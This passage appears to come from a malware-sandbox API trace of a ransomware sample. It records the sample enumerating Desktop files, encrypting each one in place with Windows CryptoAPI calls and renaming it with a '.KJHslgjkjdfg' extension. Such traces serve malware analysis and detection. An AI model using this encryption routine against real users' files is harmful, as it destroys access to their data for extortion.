"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aewtep-7pczmgacirm.swf.kjhslgjkjdfg")) returned 1 [0143.952] CloseHandle (hObject=0xc0) returned 1 [0143.952] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd4dfe0, ftCreationTime.dwHighDateTime=0x1d5e087, ftLastAccessTime.dwLowDateTime=0xb5e370, ftLastAccessTime.dwHighDateTime=0x1d5de5e, ftLastWriteTime.dwLowDateTime=0xb5e370, ftLastWriteTime.dwHighDateTime=0x1d5de5e, nFileSizeHigh=0x0, nFileSizeLow=0x13cf1, dwReserved0=0x0, dwReserved1=0xffff, cFileName="cuUirInm_zpxm.gif", cAlternateFileName="CUUIRI~1.GIF")) returned 1 [0143.952] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cuUirInm_zpxm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cuuirinm_zpxm.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0143.952] GetProcessHeap () returned 0x990000 [0143.952] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0143.953] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0143.953] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0143.953] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0xf, lpOverlapped=0x0) returned 1 [0143.953] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.953] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.953] GetProcessHeap () returned 0x990000 [0143.953] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0143.953] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40) returned 1 [0143.953] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.953] WriteFile (in: hFile=0xc0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfc90*=0x40, lpOverlapped=0x0) returned 1 [0143.953] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0143.953] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0143.953] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0143.954] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0143.954] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0143.954] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.954] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.954] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.954] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13cf1, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x13cf1, lpOverlapped=0x0) returned 1 [0143.954] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x13d00, dwBufLen=0x13d00 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x13d00) returned 1 [0143.955] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.955] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13d00, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x13d00, lpOverlapped=0x0) returned 1 [0143.956] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.956] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x13dd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.956] SetEndOfFile (hFile=0xc0) returned 1 [0143.958] GetProcessHeap () returned 0x990000 [0143.958] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0143.958] GetProcessHeap () returned 0x990000 [0143.958] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0143.958] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cuUirInm_zpxm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cuuirinm_zpxm.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cuUirInm_zpxm.gif.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cuuirinm_zpxm.gif.kjhslgjkjdfg")) returned 1 [0143.962] CloseHandle (hObject=0xc0) returned 1 [0143.962] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c6d3b0, ftCreationTime.dwHighDateTime=0x1d5dd86, ftLastAccessTime.dwLowDateTime=0x6b815ab0, ftLastAccessTime.dwHighDateTime=0x1d5e361, ftLastWriteTime.dwLowDateTime=0x6b815ab0, ftLastWriteTime.dwHighDateTime=0x1d5e361, nFileSizeHigh=0x0, nFileSizeLow=0x10e4, dwReserved0=0x0, dwReserved1=0xffff, cFileName="D0OSUwd5fcNN.mp4", cAlternateFileName="D0OSUW~1.MP4")) returned 1 [0143.962] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D0OSUwd5fcNN.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d0osuwd5fcnn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0143.962] GetProcessHeap () returned 0x990000 [0143.962] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0143.962] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0143.962] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0143.962] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0xc, lpOverlapped=0x0) returned 1 [0143.962] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.963] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.963] GetProcessHeap () returned 0x990000 [0143.963] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0143.963] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40) returned 1 [0143.963] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.963] WriteFile (in: hFile=0xc0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfc90*=0x40, lpOverlapped=0x0) returned 1 [0143.963] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0143.963] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0143.963] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0143.963] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0143.963] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0143.963] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.963] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.963] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.964] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10e4, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x10e4, lpOverlapped=0x0) returned 1 [0143.964] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x10f0, dwBufLen=0x10f0 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x10f0) returned 1 [0143.964] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.964] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x10f0, lpOverlapped=0x0) returned 1 [0143.964] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.964] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x11c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.964] SetEndOfFile (hFile=0xc0) returned 1 [0143.966] GetProcessHeap () returned 0x990000 [0143.966] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0143.966] GetProcessHeap () returned 0x990000 [0143.966] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0143.966] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D0OSUwd5fcNN.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d0osuwd5fcnn.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D0OSUwd5fcNN.mp4.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d0osuwd5fcnn.mp4.kjhslgjkjdfg")) returned 1 [0143.968] CloseHandle (hObject=0xc0) returned 1 [0143.968] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73813190, ftCreationTime.dwHighDateTime=0x1d5d952, ftLastAccessTime.dwLowDateTime=0x19322d90, ftLastAccessTime.dwHighDateTime=0x1d5dbda, ftLastWriteTime.dwLowDateTime=0x19322d90, ftLastWriteTime.dwHighDateTime=0x1d5dbda, nFileSizeHigh=0x0, nFileSizeLow=0x18e28, dwReserved0=0x0, dwReserved1=0xffff, cFileName="DB1y0-nfG9dQN.bmp", cAlternateFileName="DB1Y0-~1.BMP")) returned 1 [0143.968] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DB1y0-nfG9dQN.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\db1y0-nfg9dqn.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0143.968] GetProcessHeap () returned 0x990000 [0143.968] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0143.968] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0143.968] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0143.968] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0143.969] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.969] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.969] GetProcessHeap () returned 0x990000 [0143.969] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0143.969] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40) returned 1 [0143.970] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.970] WriteFile (in: hFile=0xc0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfc90*=0x40, lpOverlapped=0x0) returned 1 [0143.970] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0143.970] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0143.970] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0143.970] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0143.970] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0143.970] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.970] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.970] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.970] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x18e28, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x18e28, lpOverlapped=0x0) returned 1 [0143.971] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x18e30, dwBufLen=0x18e30 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x18e30) returned 1 [0143.972] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.973] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x18e30, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x18e30, lpOverlapped=0x0) returned 1 [0143.973] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.973] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x18f04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.973] SetEndOfFile (hFile=0xc0) returned 1 [0143.983] GetProcessHeap () returned 0x990000 [0143.984] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0143.984] GetProcessHeap () returned 0x990000 [0143.984] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0143.984] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DB1y0-nfG9dQN.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\db1y0-nfg9dqn.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DB1y0-nfG9dQN.bmp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\db1y0-nfg9dqn.bmp.kjhslgjkjdfg")) returned 1 [0143.992] CloseHandle (hObject=0xc0) returned 1 [0143.993] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.993] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3cd8d0, ftCreationTime.dwHighDateTime=0x1d5e618, ftLastAccessTime.dwLowDateTime=0xb3fca3a0, ftLastAccessTime.dwHighDateTime=0x1d5e274, ftLastWriteTime.dwLowDateTime=0xb3fca3a0, ftLastWriteTime.dwHighDateTime=0x1d5e274, nFileSizeHigh=0x0, nFileSizeLow=0x1431, dwReserved0=0x0, dwReserved1=0xffff, cFileName="f1inlhXXjtwlPQaDpVa0.rtf", cAlternateFileName="F1INLH~1.RTF")) returned 1 [0143.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f1inlhXXjtwlPQaDpVa0.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f1inlhxxjtwlpqadpva0.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0143.993] GetProcessHeap () returned 0x990000 [0143.993] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0143.993] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0143.993] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0143.993] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0xf, lpOverlapped=0x0) returned 1 [0143.996] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.996] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.996] GetProcessHeap () returned 0x990000 [0143.996] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0143.996] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0143.996] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.996] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0143.997] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0143.997] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0143.997] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0143.997] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0143.997] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0143.997] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.997] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.997] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.997] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1431, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x1431, lpOverlapped=0x0) returned 1 [0143.998] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x1440, dwBufLen=0x1440 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x1440) returned 1 [0143.998] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.998] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x1440, lpOverlapped=0x0) returned 1 [0143.999] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.999] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x1524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.999] SetEndOfFile (hFile=0xc0) returned 1 [0144.001] GetProcessHeap () returned 0x990000 [0144.001] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0144.002] GetProcessHeap () returned 0x990000 [0144.002] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0144.002] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f1inlhXXjtwlPQaDpVa0.rtf" (normalized: "c:\\users\\5p5nrgjn0js 